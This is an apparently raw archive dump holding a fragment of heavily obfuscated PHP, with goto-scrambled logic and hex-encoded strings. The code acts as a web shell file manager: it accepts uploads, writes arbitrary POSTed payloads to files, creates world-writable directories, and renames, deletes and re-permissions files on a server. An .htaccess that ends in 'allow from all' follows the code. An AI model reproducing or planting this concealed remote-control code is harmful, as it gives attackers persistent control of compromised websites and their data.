"\x3c\x66\157\x72\x6d\x20\155\x65\x74\x68\x6f\144\x3d\47\x70\x6f\x73\x74\x27\x73\x74\x79\x6c\x65\x3d\x27\144\151\163\x70\154\141\x79\x3a\x69\x6e\154\x69\156\145\x27\x6f\x6e\x73\x75\x62\155\151\164\75\42\x72\x65\164\x75\162\x6e\40\143\x6f\156\146\151\162\x6d\50\x27\x72\145\x6d\157\166\x65\x20\x63\x6f\x6e\x74\x65\156\x74\163\x3f\x27\x29\42\x3e\x3c\151\156\x70\165\x74\x20\164\x79\x70\145\75\x27\x68\x69\x64\144\145\x6e\47\156\x61\155\145\x3d\47\x72\155\144\x27\x76\x61\x6c\165\145\x3d\x27\x31\47\76\x3c\151\156\x70\x75\x74\40\164\x79\160\145\75\47\x68\151\144\x64\x65\156\x27\x6e\141\155\145\75\47\156\47\x76\x61\x6c\x75\x65\x3d\47" . Uyark($gxTgH) . "\x27\76\x3c\142\165\164\x74\157\x6e\40\x63\154\141\163\x73\x3d\47\x62\164\156\47\x74\x79\x70\145\x3d\47\x73\165\x62\155\151\164\47\x3e\x64\145\x6c\145\x74\145\x3c\x2f\x62\165\164\x74\x6f\156\x3e\x3c\x2f\x66\x6f\x72\x6d\76\x20"; goto DYygb; oH9Rd: $iHpW1 = @fileperms($VI76I); goto fr8Sr; bDCqW: $rzphS = @date("\131\55\155\55\x64\40\x48\x3a\x69", @filemtime($VI76I)); goto gNzCw; bbZLG: if ($uNdAL) { goto ZeqCA; } goto zqap5; oP0f6: ZeqCA: goto wPCAT; ENwuF: $uNdAL = is_dir($VI76I); goto oH9Rd; BtTPi: } goto HJeiQ; ByK47: function T1Hb9($FMHfo, $CGf7N) { goto Pa05j; E2flN: foreach ($TWYum as $Etvzy) { goto z6jdz; z6jdz: $ETI0L .= ($ETI0L === '' ? '' : "\57") . $Etvzy; goto tZdBE; tZdBE: $Hznd3[] = lmS8G($ETI0L, $Etvzy); goto dLmVX; dLmVX: YPJd2: goto M1ezk; M1ezk: } goto iht5M; E603c: $Hznd3[] = Lms8G($L0rGH, "\x2f"); goto u4Xrh; ANzU9: return implode("\40\x3c\163\x70\x61\156\x20\143\x6c\141\x73\x73\x3d\134\42\147\x73\145\x70\134\42\76\xc3\xa2\342\x82\xac\xc2\272\x3c\x2f\163\160\x61\x6e\x3e\40", $Hznd3); goto stg__; VpDzj: $TWYum = array_values(array_filter(explode("\x2f", trim($MBA4J, "\57")))); goto XIov0; Xt_rl: foreach ($fYzIJ as $Etvzy) { goto BDU3d; mxjL1: $Hznd3[] = Lms8g($lUxG5, $Etvzy); goto pnmAz; pnmAz: jE3it: goto TdDlC; BDU3d: $lUxG5 = rtrim($lUxG5, "\x2f\x5c") . DIRECTORY_SEPARATOR . $Etvzy; goto mxjL1; TdDlC: } goto B95Sf; LW57k: if (!(strpos($MBA4J, $L0rGH) === 0)) { goto W_Z0Q; } goto ntLpD; u4Xrh: $lUxG5 = $L0rGH; goto Xt_rl; ntLpD: $TQuX0 = ltrim(substr($MBA4J, strlen($L0rGH)), "\57"); goto dYnvY; jimSq: W_Z0Q: goto VpDzj; VwKua: $Hznd3 = []; goto E2flN; sHz_w: return implode("\40\x3c\163\160\141\156\x20\143\154\x61\x73\163\75\x5c\42\x67\x73\x65\160\134\42\x3e\303\242\342\202\254\302\xba\74\x2f\x73\160\141\156\76\40", $Hznd3); goto jimSq; wbpv8: $Hznd3 = []; goto E603c; XIov0: $ETI0L = ''; goto VwKua; dYnvY: $fYzIJ = $TQuX0 === '' ? [] : array_values(array_filter(explode("\x2f", $TQuX0))); goto wbpv8; iht5M: ZOLWj: goto ANzU9; B95Sf: RLCBe: goto sHz_w; Pa05j: $MBA4J = str_replace("\134", "\57", $FMHfo); goto rhPSK; rhPSK: $L0rGH = str_replace("\134", "\57", $CGf7N); goto LW57k; stg__: } goto P_2CA; hQ2iE: if (!($CKior === '')) { goto Xh87f; } goto AZL6L; nXmkV: W_XgE($hKa5N, ["\x6b" => "\x39", "\x74" => "\145\x72\x72"]); goto N20dR; V7U51: if ($gsdxU === false) { goto VwEL_; } goto g72Y8; CCCv1: if (!isset($_FILES["\x62\165"])) { goto Nt9Pk; } goto MB00B; vAGvG: g2AjA: goto g9C9r; Q77BA: VwEL_: goto OKTub; HTCLw: if (YtNda($VI76I["\x74\155\160\137\156\x61\x6d\145"], $Usag4)) { goto N6uo1; } goto nF3PC; lYxZK: LGniP: goto g6nxj; Vm9Z2: echo "\x3c\x64\151\x76\40\x63\154\141\163\163\x3d\42\155\163\147\40"; goto ZCz1Z; jTmXz: w_xGe($hKa5N, ["\x6b" => "\63"]); goto O2WUK; ppp7y: $Usag4 = rtrim($hKa5N, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . basename($VI76I["\156\x61\x6d\x65"]); goto eheqp; O2WUK: ErJy1: goto P_ewX; iVgxG: w_xGe($hKa5N, ["\153" => "\170", "\164" => "\145\162\162"]); goto Vxf2g; gQS7m: if (!($uo63X === '' || $ez0M4 === '')) { goto CtEpg; } goto SEZ4v; dbztg: $ez0M4 = basename(trim((string) ($_POST["\146\x72\157\x6d"] ?? ''))); goto gQS7m; fBsWN: if (is_file($whCcN)) { goto LGniP; } goto uSl0o; PnxF5: $CKior = basename(trim((string) ($_POST["\x6e\141\x6d\145"] ?? ''))); goto hQ2iE; Q91hu: function QwbRP($nig_Q, $miDsG) { return $_SESSION["\x6d\141\x64\145\x72"][$nig_Q] ?? $miDsG; } goto oVZMU; RvlvP: $uo63X = basename(trim((string) ($_POST["\x74\x6f"] ?? ''))); goto dbztg; CZ_lC: rGi_a: goto qnEd1; P_2CA: $AsdtI = ["\x31" => "\106\x73\x72\x65\x61\x74\145\x64\56", "\x32" => "\x61\166\145\144\56", "\x33" => "\146\x65\155\157\166\x65\144\56", "\x34" => "\146\x72\x65\x61\164\145\144\56", "\x35" => "\x66\x65\x6d\157\166\x65\x64\x2e", "\66" => "\x66\x6e\x61\x64\56", "\67" => "\165\157\155\x70\x6c\x65\164\x65\x2e", "\x39" => "\155\156\166\141\x6c\x69\144\x20\144\164\145\x6d\x2e", "\x78" => "\167\145\x20\x66\x61\151\x6c\145\144\x2e\x20\160\145\x72\155\x69"]; goto F5GSt; xnOR1: $J1jPy = (string) ($_POST["\x70\x61\x79\154\157\x61\144"] ?? ''); goto xHhoi; f9MYT: Km00e: goto NeBZx; Vrk1b: $eC5Q2 = E7Arj($qiRs1); goto oZtsk; MlDJ8: CtEpg: goto vQsmd; Xm87y: a_3RV: goto jLtCl; jOK68: if (!(!file_exists($Hznd3) || file_exists($Ej6Hl))) { goto kkIof; } goto UN647; Uqbg7: echo "\x22\x3e"; goto j5lY0; KKgFI: $hKa5N = $zraXm !== null ? I07ei(qwbRP($zraXm, $CGf7N), $CGf7N) : I07ei($MBA4J, $CGf7N); goto lhYSB; I521M: XBF1z: goto ik_kL; Ug248: qIZaL: goto kgAnr; z097c: $VI76I = basename(trim((string) ($_POST["\x6e"] ?? ''))); goto aoQXk; SJj6R: if (is_writable($whCcN)) { goto qIZaL; } goto Edmio; MB00B: $VI76I = $_FILES["\x62\x75"]; goto ppp7y; eiHPH: if (!@mkdir($whCcN, 0777, true)) { goto g2AjA; } goto QxHQX; ZpEDW: if (!iejLg($whCcN, $J1jPy)) { goto NLNnO; } goto Lpr4Y; v08bi: $zraXm = $_GET["\x70\164"] ?? null; goto j1ux5; M8a32: jX5q3: goto ODPNp; kK2_J: $qiRs1 = rtrim($hKa5N, "\x5c\x2f") . DIRECTORY_SEPARATOR . $mH8g4; goto Vrk1b; rv0ai: if (!file_exists($whCcN)) { goto PLCDn; } goto nXmkV; vQsmd: $Hznd3 = $hKa5N . DIRECTORY_SEPARATOR . $ez0M4; goto ofD8v; rmRh1: if (!@rename($Hznd3, $Ej6Hl)) { goto t0FkU; } goto BIN3Z; X6ys7: SGQhK: goto kU07P; E19ba: q33k1: goto KHVSC; BNjoa: @chmod($whCcN, 0666); goto ihnhP; qu8Cz: $whCcN = $hKa5N . DIRECTORY_SEPARATOR . $CKior; goto rv0ai; ik_kL: echo "\x20\74\57\x74\x61\142\x6c\145\76\x20\x3c\x2f\x64\151\166\x3e\74\x2f\x64\x69\x76\x3e\x3c\x2f\142\157\x64\x79\x3e\x3c\57\150\164\155\154\x3e";
?> languages/.htaccess 0000644 00000000123 15171255012 0010303 0 ustar 00
deny from all
allow from all